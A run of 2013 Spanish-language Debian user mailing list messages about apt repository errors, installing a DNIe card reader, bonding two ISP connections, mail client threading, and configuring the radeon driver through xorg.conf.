El 21/03/13, Felix Perez escribió: > El 21/03/13, consultores escribió: >> On 03/20/2013 12:53 PM, Felix Perez wrote: >>> El 19/03/13, consultores escribió: On Tue, Mar 19, 2013 at 10:02:25AM -0300, Felix Perez wrote: > El 19/03/13, Felix Perez escribio> > El > 18/03/13, Francisco Antonio escribió: >>> El 18/03/13 16:25, Felix Perez escribió: 2013/3/18, Fabián Bonetti: > On Mon, 18 Mar 2013 16:43:33 -0300 > Felix Perez wrote: > > Comprueba la fecha si la tienes correcta. Gracias Fabián, la fecha esta correcta aunque con todo los problemas que hemos tenido con el retraso en el cambio de hora (Chile) no descarto que algo tenga que ver. el date me devuelve: lun mar 18 17:20:39 ART 2013 > Mi sources.list solo tiene estas líneas. > > deb http://ftp.us.debian.org/debian/ testing main contrib non-free > deb-src http://ftp.us.debian.org/debian/ testing main contrib non-free > > La línea que me intriga es esta: > Des: 1 http://ftp.us.debian.org testing InRelease [224 kB] > Ign http://ftp.us.debian.org testing InRelease > > ¿Alguien ha tenido problemas con los repositorios en estos días? > > Gracias a todos. Hola Felix Yo estoy en transito, se supone que ese es un error de los servidores; si te parece, yo puedo colgar una web https, para que te conectes y enviarte el log, para que depures el problema. >>> Gracias, no creo que sea un error de los servidores ya que me pasa con >>> todos los repos, y con todas las páginas https, si es factible revisar >>> los logs, te lo agradecería, espero tus noticias. >>> >>> Por otro lado, hay vulnerabilidades en ssl y otros, lo del sources.list no lo puedo confirmar ahora mismo; hasta dentro de 6 horas. Si queres, proba con https://livestream/algo_de_tu_agrado ellos han actualizado recientemente y me contas. >>> Leí lo de las vulnerabilidades pero no creo que sea este el caso, en >>> realidad no se nada de nada a estas alturas. >>> >>> A la dirección que pones no pude acceder. >>> >>> Gracias de nuevo. >>> >> >> Hola >> >> Estoy en EU el que queda en America y los dos mesones en los que me he >> quedado, solo permiten salida por el 80; no he podido hacer nada. Pero >> revisando los mensajes de error, pude notar errores de java ej. /uoo31 >> que hace referncia a un codigo de intrusion. Los otros errores son de >> syntaxis, que tambien podrian apuntar a java. >> >> Yo probaria a reinstalar todo lo relacionado con java y luego si >> funciona correctamente, lo eliminaria, tiene demasiadas >> vulnerabilidades. Luego probaria con el libre, que no recuerdo como se >> llama. En fin manana me cambio de champa y veremos si alli se puede >> hacer algo. hasta luego. > > No me deja, ni instalar, ni des instalar, ni re instalar ni nada. > incluso intente en el modo de recuperación y nada. > > Gracias nuevamente Consultores. > >> >> saludos y suerte. >> >> Ahora el aptitude update me da estos errores, después de haber borrado el contenido de /var/lib/apt/lists E: No se pudo tratar el archivo de paquetes /var/lib/apt/lists/ftp.cl.debian.org_debian_dists_testing_non-free_binary-i386_Packages (1) E: No se pudieron analizar o abrir las listas de paquetes o el archivo de estado. Saludos -- usuario linux #274354 normas de la lista: http://wiki.debian.org/es/NormasLista como hacer preguntas inteligentes: http://www.sindominio.net/ayuda/preguntas-inteligentes.html -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/caaizax5rnr1j6ukko0kezm0o1ffteg_u3toefvnf4k5_1mu...@mail.gmail.com
Re: DNI con Debian testing
El 21/03/13 15:45, Camaleón escribió: El Thu, 21 Mar 2013 15:30:48 +, José Manuel (EB8CXW) escribió: Hola Ese html... Desearía, si puede ser, que me informarán como instalar un lector de DNI: minilector bit4id en Debian testing. He intentando informarme a través de Google, pero no me aclaro con la información que obtengo y no consigo que funcione. Tengo Debian testing, ¿No te sirve este? DNIe en Debian GNU/Linux Squeeze http://guimi.net/blogs/hiparco/dnie-en-debian-gnulinux-squeeze/ Está en español y aunque es para Squeeze no creo que varíe mucho. Saludos, Hola Disculpa con el html, también cometí el error de mandar con acuse, no me acorde hasta que lo mande. Con respecto a la dirección, no se si la he visto, la echare un vistazo a ver si me aclaro y consigo que funcione. Gracias. -- Un saludo, José Manuel Gran Canaria/España Si vas a escribir.. piensa en esto: no digas nada que no sea mas precioso que el silencio!!! -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/514b2c94.7000...@infonegocio.com
Re: DNI con Debian testing
El Thu, 21 Mar 2013 15:51:48 +, José Manuel (EB8CXW) escribió: > El 21/03/13 15:45, Camaleón escribió: (...) >> DNIe en Debian GNU/Linux Squeeze >> http://guimi.net/blogs/hiparco/dnie-en-debian-gnulinux-squeeze/ >> >> Está en español y aunque es para Squeeze no creo que varíe mucho. > > Disculpa con el html, también cometí el error de mandar con acuse, no me > acorde hasta que lo mande. "No problemo", pero tú no eres nuevo, ya deberías saber esas cosas ;-) > Con respecto a la dirección, no se si la he visto, la echare un vistazo > a ver si me aclaro y consigo que funcione. Gracias. Si te estancas en algún paso, danos detalles de lo que has hecho exactamente para que nos hagamos una idea de dónde puede estar el error. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kifaom$kp3$6...@ger.gmane.org
RE: 2 isp [ot]
Buenas tardes, -Mensaje original- De: Camaleón [mailto:noela...@gmail.com] Enviado el: jueves, 21 de marzo de 2013 15:33 Para: debian-user-spanish@lists.debian.org Asunto: Re: 2 isp [ot] El Wed, 20 Mar 2013 19:56:57 +0100, Ramses II escribió: > Ya no es tanto de productos, sino como de protocolos y RFC's... ¿Protocolos y RFC de qué exactamente? Creo que me he perdido. > Esa es la que yo estoy buscando, la que tiene que definir bajo qué > protocolos y condiciones se puede dar el bonding..., pero no la tengo > por aquí... ¿Mande? ¿Todavía seguimos así? Caray :-) Todo eso estaba especidicado en la FAQ del Truffle Lite: https://www.mushroomnetworks.com/product/products.aspx?product_id=1002&tab=faqs Y la hoja de producto: https://www.mushroomnetworks.com/get_file.aspx?id=3DF83487-2300-46E5-AA2E-67E32D367399&name=brochure%20Truffle%20Lite.pdf > Bueno, bueno, solo tradujiste la parte del párrafo que ponía que se > sumaban los BW, ni la frase de antes, que decía lo del HTTP, ni la de > después, que decía que el resto del tráfico lo balanceaba... ;-) Traduje el quid de la cuestión, obviamente. > Claro, evidentemente que un cacharro de estos, dependiendo de qué > tráfico te puede salvar la vida y ahorrarte dinero, porque desde el > punto de vista de la LAN, puede salir/entrar el "doble" de tráfico, > pero que hay que estudiar antes de qué tráfico estamos hablando... No estamos hablando -al menos yo no- del tráfico generado en local (LAN) sino en la WAN, en remoto. Y por cierto, el aparatito tiene 4 bocas gigabit para conexiones de banda ancha (pensaba que sólo eran 2) y un par de puertos USB para conexiones 3G/4G, vamos, que está muy bien dotado. > Porque tu tienes una cámara que te tira ficheros de 4Mb a un FTP en > Internet y desde otro punto de Internet los estás recuperando vía FTP > a través de una ADSL de 2Mbps. Si a esa persona le dices que montando > un cacharro de estos va a descargar más rápido los ficheros, pues > cuando lo pincha, como que se queda con dos palmos de narices... Es que a esa persona no le puedes decir eso :-) En ese escenario no se aprovecharía la características de la suma del ancho de banda de las conexiones WAN que estén conectadas al aparato, pero igualmente sigue siendo interesante el balanceo de carga (que también puede acelerar la conexión descartando el enlace que esté más saturado) y la capacidad de failover para no dejar a la cámara web "caída". Lo cual no quita para que el el resto de situaciones SÍ se pueda aprovechar de las conexiones ADSL que tenga conectadas sumando anchos de banda. > Hombr, es que yo me en encontrado situaciones de empresas que > tienen un enlace de 100Mbps en fibra para dar acceso en estrella a sus > servicios todas sus sedes y con una ADSL de 8Mb/640Kb de respaldo... Se supone que el ADSL de respaldo sólo actúa de uvas a peras (¿una vez al año?). Además, no hace mucho los enlaces primarios eran los ADSL de 2 Mbps y la conexión de backup la gestionaba modems RDSI ;-) --- Sencillo, estoy hablando de esas cosas que tienen que cumplir todo cacharro para poder interoperar con otro de otra marca sin que haya problemas y no tengan que se todos del mismo fabricante como pasaba antes, porque cada protocolo era privativo de cada marca... Vamos, que en algún sitio tiene que haber algo escrito de que si a un servidor HTTP le piden la descarga de un mismo fichero desde 2 IP distintas, lo trocee y mande un cachito por cada IP. Porque si no están usando estándares, mal van a poder negociar eso con el servidor unilateralmente... Sí, si ya he visto las FAQ. Si pasa lo mismo que aquí, en la 1 dice que suma y en la 10 dice que solo el tráfico HTTP. Cuando lo de la traducción ya andábamos afinando que si HTTP, que si todo... Perdón: Claro, evidentemente que un cacharro de estos, dependiendo de qué tráfico te puede salvar la vida y ahorrarte dinero, porque desde el punto de vista de la LAN, puede entrar el "doble" de tráfico, pero que hay que estudiar antes de qué tráfico estamos hablando... Es que esa persona no te va a plantear la situación de que las descargas las hace con FTP o HTTP, es que para esa persona es una descarga desde Internet. Sí, sí, los Backups solo actúan de uvas a peras, pues cuando una retroexcavadora le mete la cuchara y te arranca una fibra por la que estás dando servicio a todas las delegaciones con un BW medio de 50Mbps y te levanta una ADSL de 8Mb/640Kb, donde todos dicen, "leches" 8Mb está bien...", no, no, campeón, son 640Kb, que eres tú el que estás sirviendo... Vamos, que no puedes hacer ni un Ping... Ya hace mucho que trabajo en empresas con líneas principales más gordas. Saludos, Ramsés -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/001e01ce2651$db4bd6b0$91e38410$@gmail.com
Re: DNI con Debian testing
On Jueves, 21 de marzo de 2013 16:30:48 José Manuel (EB8CXW) escribió: > Hola > > Desearía, si puede ser, que me informarán como instalar un lector de > DNI: minilector bit4id en Debian testing. He intentando informarme a > través de Google, pero no me aclaro con la información que obtengo y no > consigo que funcione. > > Tengo Debian testing, > > Gracias de antemano. Hace tiempo que lo instalé -luego no lo he utilizado para nada, siempre la firma digital- y he recuperado unas anotaciones: 1- Copiar en /etc el fichero libccid_Info.plist desde el CD que viene con el lector. 3 - Ir a : www.dnielectronico.es/descargas. Buscar Sistemas_Unix, distribuciones linux, Opensc-dnie 1.4.6 --> Arquitectura_32bits --> Ubuntu_Jaunty_jackalope-32bits y descargar Ubuntu_Jaunty_opensc- dnie_1.4.6-2_i386.deb.tar Si se utiliza esto, parece ser que hay que bloquear los paquetes opensc y lbopensc2. Yo lo intenté con lo que disponia en Debian y me funcionó. 4 - Cerrar todas las aplicaciones, darle al .tar e instalar los 3 archivos: libopensc2, opensc y opensc_dnie, en este mismo orden. 5 - Registrar el módulo DNIe PKCS#11 siguiendo las instrucciones (está en Aplicaciones/Oficina). En Iceweasel vas a Dispositivos de seguridad y comprueba que está el Nuevo módulo PKCS#11 Para verificar que todo está bien, conecta el lector y en terminal, pcsc_scan. Inserta el DNIe y accede a www.dnielectronico.es/como_utilizar_el_dnie/verificar.html y metiendo el PIN, debería funcionar. En la web de dnielectronico tienes que entrar con java activado. Suerte. Es mas sencillo lo de la firma digital. -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/201303211749.23000.deb...@caolin.net
Re: [OT] ¿Que clientes usan?
El 19/03/2013 11:45 a.m., Camaleón escribió: El Mon, 18 Mar 2013 19:00:34 -0300, Francisco Del Roio escribió: Buenas gente. La razón por la que dejo este mensaje es porque me llegan hilos desordenados, respuestas que comienzan otros hilos, etc...etc...etc...etc. Ah, bienvenido a Isla Caótica, un lugar donde la gente manda los mensajes con formato html, usa clientes de correo incompatibles con los estándares, hace top-posting, de vez en cuando cross-posting y también hay secuestros de hilos. Tenemos de todo un poco :-) Uso Thunderbird/icedobe y siempre me ha mostrado correctamente los hilos, es solo por eso que dejo el mensaje. Ná, tranquilo, seguramente no es problema tuyo. ¿Tienes algún hilo de ejemplo? P.S. Yo uso Pan/0.132 (Waxed in Black), un cliente NNTP. Saludos, Buenas Aqui dejo uno como referencia [1]. Además, tengo marcada la opción para mostrar mensajes anidados. ¡Saludos! [1] http://lists.debian.org/cah45fxfvjpxk+0t6xyiqsuwhmlz4nasf2p3usaejvx8m1to...@mail.gmail.com-- Cuando tus fuerzas terminan, las de Dios comienzan... <>
Re: 2 isp [ot]
El Thu, 21 Mar 2013 17:33:32 +0100, Ramses II escribió: > Sencillo, estoy hablando de esas cosas que tienen que cumplir todo > cacharro para poder interoperar con otro de otra marca sin que haya > problemas y no tengan que se todos del mismo fabricante como pasaba > antes, porque cada protocolo era privativo de cada marca... Vamos, que > en algún sitio tiene que haber algo escrito de que si a un servidor HTTP > le piden la descarga de un mismo fichero desde 2 IP distintas, lo trocee > y mande un cachito por cada IP. Porque si no están usando estándares, > mal van a poder negociar eso con el servidor unilateralmente... Bueno, ya sabes que de lo que está escrito sobre el papel a la realidad va un buen trecho. Un buen ejemplo de dispositivos "suyos" son los routers de Cisco... Que sí, cumplen con los estándares y protocolos x, y, z pero cuando los integras en tu red empiezan los problemas e incompatibilidades con el resto de sistemas y aparatos de tu red. > Sí, si ya he visto las FAQ. Si pasa lo mismo que aquí, en la 1 dice que > suma y en la 10 dice que solo el tráfico HTTP. No veo ninguna contradicción en los dos párrafos. > Cuando lo de la traducción ya andábamos afinando que si HTTP, que si > todo... HTTP y sólo descarga, no subida. Lo dice bien claro. También podría poner algunos ejemplos de uso donde el ancho de banda se suma para que los usuarios se hagan una idea de si les conviene o no pero entiendo que por el tipo de dispositivo de que se trata está enfocado a administradores que se supone saben lo que se hacen y son capaces de discernir si el chisme les sirve para lo que quieren o no. > Perdón: Claro, evidentemente que un cacharro de estos, dependiendo de > qué tráfico te puede salvar la vida y ahorrarte dinero, porque desde el > punto de vista de la LAN, puede entrar el "doble" de tráfico, pero que > hay que estudiar antes de qué tráfico estamos hablando... Y dale con la LAN, le has cogido perrica ¿eh? :-) > Es que esa persona no te va a plantear la situación de que las descargas > las hace con FTP o HTTP, es que para esa persona es una descarga desde > Internet. Ni falta que hace. El dispositivo usará lo que tenga disponible en cada momento de manera transparente: cuando pueda sumar ancho de banda para acelerar una descarga lo hará y cuando no, pues aplicará el balanceo de carga. No hay más misterio. Si este funcionamiento no te sirve (no a ti, sino a quien quiera que esté interesado en este aparato) pues es obvio que no lo comprará. > Sí, sí, los Backups solo actúan de uvas a peras, pues cuando una > retroexcavadora le mete la cuchara y te arranca una fibra por la que > estás dando servicio a todas las delegaciones con un BW medio de 50Mbps > y te levanta una ADSL de 8Mb/640Kb, donde todos dicen, "leches" 8Mb está > bien...", no, no, campeón, son 640Kb, que eres tú el que estás > sirviendo... Vamos, que no puedes hacer ni un Ping... > > Ya hace mucho que trabajo en empresas con líneas principales más gordas. Hombre, si necesitas un ancho de banda determinado en todo momento lo normal es que la línea de respaldo sea de iguales características que la principal ¿no? Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kifheh$kp3$7...@ger.gmane.org
Re: [OT] ¿Que clientes usan?
El Thu, 21 Mar 2013 14:51:37 -0300, Francisco Del Roio escribió: > El 19/03/2013 11:45 a.m., Camaleón escribió: >> El Mon, 18 Mar 2013 19:00:34 -0300, Francisco Del Roio escribió: >> >>> Buenas gente. >>> >>> La razón por la que dejo este mensaje es porque me llegan hilos >>> desordenados, respuestas que comienzan otros hilos, >>> etc...etc...etc...etc. (...) >> ¿Tienes algún hilo de ejemplo? (...) > Aqui dejo uno como referencia [1]. ¿Puede subir una foto-pantallazo a "www.picpaste.com" para que veamos lo que ves? Oculta cualquier información sensible. > Además, tengo marcada la opción para mostrar mensajes anidados. > > ¡Saludos! > > [1] > http://lists.debian.org/cah45fxfvjpxk+0t6xyiqsuwhmlz4nasf2p3usaejvx8m1to...@mail.gmail.com Pues ese deberías verlo correctamente porque los mensajes aparecen hilados correctamente (desde mi cliente también se muestran anidados): http://lists.debian.org/debian-user-spanish/2013/03/thrd2.html Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kifhuu$kp3$8...@ger.gmane.org
Re: Driver "radeon" (era: imposible reducir el brillo de la pantalla)
El 21/03/13 15:47, Camaleón escribió: Eh, ojo... te está cargando el driver "intel" no el "radeon". Tienes que decirle que te cargue el driver de ATI pero el libre. Crea un archivo "/ etc/X11/xorg.conf" con un contenido mínimo, por ejemplo: *** Section "Device" Identifier "ATI" Driver "radeon" EndSection Section "Screen" Identifier "Default Screen" DefaultDepth 24 EndSection *** Si ya tienes un archivo xorg.conf, haz una copia de seguridad antes de editarlo (renómbralo a "xorg.conf.old") y simplemente asegúrate de que la línea del "Driver" apunta al "radeon". Reinicias y te preparas para lo peor ;-P Saludos, Al crear el fichero /etc/X11/xorg.conf con las líneas que me indicas, no arranca en modo gráfico, sólo en modo texto y la línea de ordenes... Si pongo startx, me dice "no screens found", y por pantallas no será, que a parte de la del portátil, de 17,3 pulgadas (vamos que se ve) :-P tiene conectada otra auxiliar de 19 pulgadas :-D He probado a usar una copia del fichero que me creó la utilidad aticonfig cuando usaba los drivers propietarios, (cambiando el driver "fglrx" por "radeon" y tampoco funciona. El mismo error. Te pongo la configuración del xorg.conf con la que si iban los drivers propietarios: Ya digo que he probado a cambiar fglrx por radeon, pero nada -- PEGO --- Section "ServerLayout" Identifier "aticonfig Layout" Screen 0 "aticonfig-Screen[0]-0" 0 0 EndSection Section "Module" EndSection Section "Monitor" Identifier "aticonfig-Monitor[0]-0" Option"VendorName" "ATI Proprietary Driver" Option"ModelName" "Generic Autodetecting Monitor" Option"DPMS" "true" EndSection Section "Device" Identifier "aticonfig-Device[0]-0" Driver "fglrx" BusID "PCI:1:0:0" EndSection Section "Screen" Identifier "aticonfig-Screen[0]-0" Device "aticonfig-Device[0]-0" Monitor"aticonfig-Monitor[0]-0" DefaultDepth 24 SubSection "Display" Viewport 0 0 Depth 24 EndSubSection EndSection -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/514b525e.9080...@yahoo.es
RE: 2 isp [ot]
Buenas tardes, -Mensaje original- De: Camaleón [mailto:noela...@gmail.com] Enviado el: jueves, 21 de marzo de 2013 18:53 Para: debian-user-spanish@lists.debian.org Asunto: Re: 2 isp [ot] El Thu, 21 Mar 2013 17:33:32 +0100, Ramses II escribió: > Sencillo, estoy hablando de esas cosas que tienen que cumplir todo > cacharro para poder interoperar con otro de otra marca sin que haya > problemas y no tengan que se todos del mismo fabricante como pasaba > antes, porque cada protocolo era privativo de cada marca... Vamos, que > en algún sitio tiene que haber algo escrito de que si a un servidor > HTTP le piden la descarga de un mismo fichero desde 2 IP distintas, lo > trocee y mande un cachito por cada IP. Porque si no están usando > estándares, mal van a poder negociar eso con el servidor unilateralmente... Bueno, ya sabes que de lo que está escrito sobre el papel a la realidad va un buen trecho. Un buen ejemplo de dispositivos "suyos" son los routers de Cisco... Que sí, cumplen con los estándares y protocolos x, y, z pero cuando los integras en tu red empiezan los problemas e incompatibilidades con el resto de sistemas y aparatos de tu red. > Sí, si ya he visto las FAQ. Si pasa lo mismo que aquí, en la 1 dice > que suma y en la 10 dice que solo el tráfico HTTP. No veo ninguna contradicción en los dos párrafos. > Cuando lo de la traducción ya andábamos afinando que si HTTP, que si > todo... HTTP y sólo descarga, no subida. Lo dice bien claro. También podría poner algunos ejemplos de uso donde el ancho de banda se suma para que los usuarios se hagan una idea de si les conviene o no pero entiendo que por el tipo de dispositivo de que se trata está enfocado a administradores que se supone saben lo que se hacen y son capaces de discernir si el chisme les sirve para lo que quieren o no. > Perdón: Claro, evidentemente que un cacharro de estos, dependiendo de > qué tráfico te puede salvar la vida y ahorrarte dinero, porque desde > el punto de vista de la LAN, puede entrar el "doble" de tráfico, pero > que hay que estudiar antes de qué tráfico estamos hablando... Y dale con la LAN, le has cogido perrica ¿eh? :-) > Es que esa persona no te va a plantear la situación de que las > descargas las hace con FTP o HTTP, es que para esa persona es una > descarga desde Internet. Ni falta que hace. El dispositivo usará lo que tenga disponible en cada momento de manera transparente: cuando pueda sumar ancho de banda para acelerar una descarga lo hará y cuando no, pues aplicará el balanceo de carga. No hay más misterio. Si este funcionamiento no te sirve (no a ti, sino a quien quiera que esté interesado en este aparato) pues es obvio que no lo comprará. > Sí, sí, los Backups solo actúan de uvas a peras, pues cuando una > retroexcavadora le mete la cuchara y te arranca una fibra por la que > estás dando servicio a todas las delegaciones con un BW medio de > 50Mbps y te levanta una ADSL de 8Mb/640Kb, donde todos dicen, "leches" > 8Mb está bien...", no, no, campeón, son 640Kb, que eres tú el que > estás sirviendo... Vamos, que no puedes hacer ni un Ping... > > Ya hace mucho que trabajo en empresas con líneas principales más gordas. Hombre, si necesitas un ancho de banda determinado en todo momento lo normal es que la línea de respaldo sea de iguales características que la principal ¿no? -- Hombre, CISCO igual que todo fabricante, cumplen con los estándares y protocolos x, y, z, y después tiene sus protocolos propietarios como HSRP, EIGRP, IS-IS,, pero usando estándares, yo no he tenido ningún problema integrando CISCO en una red, encontrando la IOS de tu que tiene un bug... Lo que no pretenderemos es hacer VRRP con un CISCO y un 3COM. O que cada fabricante defina trunk de una forma, que te puede volver loco... ¿No ves diferencia?. Pues si tiramos del 1, estamos diciendo que SUMAMOS y punto, y si tiramos del 10, estamos diciendo que SUMAMOS solo HTTP y con el resto hacemos balanceo... Claro, es que son dos puntos de vista distintos, desde la LAN y desde un PC de la LAN... Claro que hace falta que te lo diga, ¿cómo no va a hacer falta que te lo diga?, ¿cómo vas a recomendar algo para trastear con tráfico sin saber de qué tipo de tráfico estamos hablando?. Ah, bueno, sí, si no te lo aclaran, entonces es cuando hay que matizar y decir que solo suma el BW para descargas HTTP. Sí, sí, claro, o cuanto menos, otra línea con un BW que te permita medianamente trabajar ante una caída de la principal, aunque sea más lento, de Operador y tecnología distinta la principal... De nada vale contratar una fibra principal con Operador A y una de Backup con Operador B, cuando Operador B le contrata la fibra a Operador A... Saludos, Ramsés -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/000d0
Re: Driver "radeon" (era: imposible reducir el brillo de la pantalla)
El Thu, 21 Mar 2013 19:33:02 +0100, Eduardo Rios escribió: > El 21/03/13 15:47, Camaleón escribió: >> Eh, ojo... te está cargando el driver "intel" no el "radeon". Tienes >> que decirle que te cargue el driver de ATI pero el libre. Crea un >> archivo "/ etc/X11/xorg.conf" con un contenido mínimo, por ejemplo: *** >> Section "Device" Identifier "ATI" Driver "radeon" EndSection Section >> "Screen" Identifier "Default Screen" DefaultDepth 24 EndSection *** Si >> ya tienes un archivo xorg.conf, haz una copia de seguridad antes de >> editarlo (renómbralo a "xorg.conf.old") y simplemente asegúrate de que >> la línea del "Driver" apunta al "radeon". Reinicias y te preparas para >> lo peor ;-P Saludos, > > Al crear el fichero /etc/X11/xorg.conf con las líneas que me indicas, no > arranca en modo gráfico, sólo en modo texto y la línea de ordenes... Pensaba que sería peor (pantalla en negro sin línea de comandos o todo lleno colorines) O:-) > Si pongo startx, me dice "no screens found", y por pantallas no será, > que a parte de la del portátil, de 17,3 pulgadas (vamos que se ve) :-P > tiene conectada otra auxiliar de 19 pulgadas :-D > > He probado a usar una copia del fichero que me creó la utilidad > aticonfig cuando usaba los drivers propietarios, (cambiando el driver > "fglrx" por "radeon" y tampoco funciona. El mismo error. > > Te pongo la configuración del xorg.conf con la que si iban los drivers > propietarios: > > Ya digo que he probado a cambiar fglrx por radeon, pero nada Mecachis. (...) *** Opción 1. Copia/pega simplificado del que te ha creado aticonfig Section "Device" Identifier "aticonfig-Device[0]-0" Driver "radeon" BusID "PCI:1:0:0" EndSection Section "Screen" Identifier "aticonfig-Screen[0]-0" Device "aticonfig-Device[0]-0" Monitor"aticonfig-Monitor[0]-0" DefaultDepth 24 SubSection "Display" Viewport 0 0 Depth 24 EndSubSection EndSection *** Prueba sólo con esto (no olvides hacer la copia de seguridad del xorg.conf original antes de nada), a ver si suena la flauta (y esperemos que no suene a "churro" :-P). *** Opción 2. Más sencillo todavía Section "Device" Identifier "Device0" Driver "radeon" EndSection *** *** Opción 3. Dejar que Xorg lo haga a su gusto Sigue los pasos que indican en la sección "What if I do not have an xorg config file?" http://wiki.debian.org/Xorg Salta a una tty (ctrl+alt+1) y como root, ejecuta: /etc/init.d/gdm3 stop cd /etc/X11/ Xorg -configure *** Esta última opción debería crearte un archivo "xorg.conf" dentro del directorio "/etc/X11" así que asegúrate de tener siempre todas las copias de seguridad de estos archivos bien guardadas para que no te las sobreescriban. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kifl4k$kp3$9...@ger.gmane.org
Re: 2 isp [ot]
El Thu, 21 Mar 2013 19:55:37 +0100, Ramses II escribió: > Hombre, CISCO igual que todo fabricante, cumplen con los estándares y > protocolos x, y, z, y después tiene sus protocolos propietarios como > HSRP, EIGRP, IS-IS,, pero usando estándares, yo no he tenido ningún > problema integrando CISCO en una red, encontrando la IOS de tu que tiene > un bug... Lo que no pretenderemos es hacer VRRP con un CISCO y un 3COM. > O que cada fabricante defina trunk de una forma, que te puede volver > loco... > > ¿No ves diferencia?. Pues si tiramos del 1, estamos diciendo que SUMAMOS > y punto, y si tiramos del 10, estamos diciendo que SUMAMOS solo HTTP y > con el resto hacemos balanceo... No, hombre... a ver, si necesitas los detalles técnicos de cómo gestiona ese "canuto" virtual donde suma el ancho de banda de las conexiones WAN que tenga pinchadas con el tráfico HTTP de bajada pues les pides las especificaciones (la hoja de producto es muy sencilla y no dan más datos, tampoco sobre la configuración del dispositivo). > Claro, es que son dos puntos de vista distintos, desde la LAN y desde un > PC de la LAN... Y dale con la LAN. A mí lo que suceda en local no me interesa y al OP tampoco porque habla de "2 ISP". > Claro que hace falta que te lo diga, ¿cómo no va a hacer falta que te lo > diga?, ¿cómo vas a recomendar algo para trastear con tráfico sin saber > de qué tipo de tráfico estamos hablando?. Ah, bueno, sí, si no te lo > aclaran, entonces es cuando hay que matizar y decir que solo suma el BW > para descargas HTTP. Oye, pues si no te crees lo que te están diciendo no compres el dispositivo que nadie te obliga. Y si necesitas más datos antes de comprarlo se lo pides, y si no te lo dan pues no lo compras y punto. Yo no recomiendo nada a nadie, estoy diciendo que EXISTE un aparato que permite conectar dos/cuatro modems ADSL y sumar los anchos de banda de todos ellos para descargar archivos de la web más rápidamente. Cómo lo hacen no es mi problema. Parecemos dos hamsters dando vueltas a una rueda :-) > Sí, sí, claro, o cuanto menos, otra línea con un BW que te permita > medianamente trabajar ante una caída de la principal, aunque sea más > lento, de Operador y tecnología distinta la principal... De nada vale > contratar una fibra principal con Operador A y una de Backup con > Operador B, cuando Operador B le contrata la fibra a Operador A... Ah... amigo, ahí tienes que quejarte a la CMT por falta de competencia en el mercado de la banda ancha. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/kiflpr$kp3$1...@ger.gmane.org
RE: 2 isp [ot]
Buenas tardes, -Mensaje original- De: Camaleón [mailto:noela...@gmail.com] Enviado el: jueves, 21 de marzo de 2013 20:08 Para: debian-user-spanish@lists.debian.org Asunto: Re: 2 isp [ot] El Thu, 21 Mar 2013 19:55:37 +0100, Ramses II escribió: > Hombre, CISCO igual que todo fabricante, cumplen con los estándares y > protocolos x, y, z, y después tiene sus protocolos propietarios como > HSRP, EIGRP, IS-IS,, pero usando estándares, yo no he tenido > ningún problema integrando CISCO en una red, encontrando la IOS de tu > que tiene un bug... Lo que no pretenderemos es hacer VRRP con un CISCO y un > 3COM. > O que cada fabricante defina trunk de una forma, que te puede volver > loco... > > ¿No ves diferencia?. Pues si tiramos del 1, estamos diciendo que > SUMAMOS y punto, y si tiramos del 10, estamos diciendo que SUMAMOS > solo HTTP y con el resto hacemos balanceo... No, hombre... a ver, si necesitas los detalles técnicos de cómo gestiona ese "canuto" virtual donde suma el ancho de banda de las conexiones WAN que tenga pinchadas con el tráfico HTTP de bajada pues les pides las especificaciones (la hoja de producto es muy sencilla y no dan más datos, tampoco sobre la configuración del dispositivo). > Claro, es que son dos puntos de vista distintos, desde la LAN y desde > un PC de la LAN... Y dale con la LAN. A mí lo que suceda en local no me interesa y al OP tampoco porque habla de "2 ISP". > Claro que hace falta que te lo diga, ¿cómo no va a hacer falta que te > lo diga?, ¿cómo vas a recomendar algo para trastear con tráfico sin > saber de qué tipo de tráfico estamos hablando?. Ah, bueno, sí, si no > te lo aclaran, entonces es cuando hay que matizar y decir que solo > suma el BW para descargas HTTP. Oye, pues si no te crees lo que te están diciendo no compres el dispositivo que nadie te obliga. Y si necesitas más datos antes de comprarlo se lo pides, y si no te lo dan pues no lo compras y punto. Yo no recomiendo nada a nadie, estoy diciendo que EXISTE un aparato que permite conectar dos/cuatro modems ADSL y sumar los anchos de banda de todos ellos para descargar archivos de la web más rápidamente. Cómo lo hacen no es mi problema. Parecemos dos hamsters dando vueltas a una rueda :-) > Sí, sí, claro, o cuanto menos, otra línea con un BW que te permita > medianamente trabajar ante una caída de la principal, aunque sea más > lento, de Operador y tecnología distinta la principal... De nada vale > contratar una fibra principal con Operador A y una de Backup con > Operador B, cuando Operador B le contrata la fibra a Operador A... Ah... amigo, ahí tienes que quejarte a la CMT por falta de competencia en el mercado de la banda ancha. --- Si está claro, si lo que se está hablando aquí es que sólo lo hace con tráfico HTTP. Y si lo hace controlando un único extremo, es porque esa prestación/funcionalidad/o como 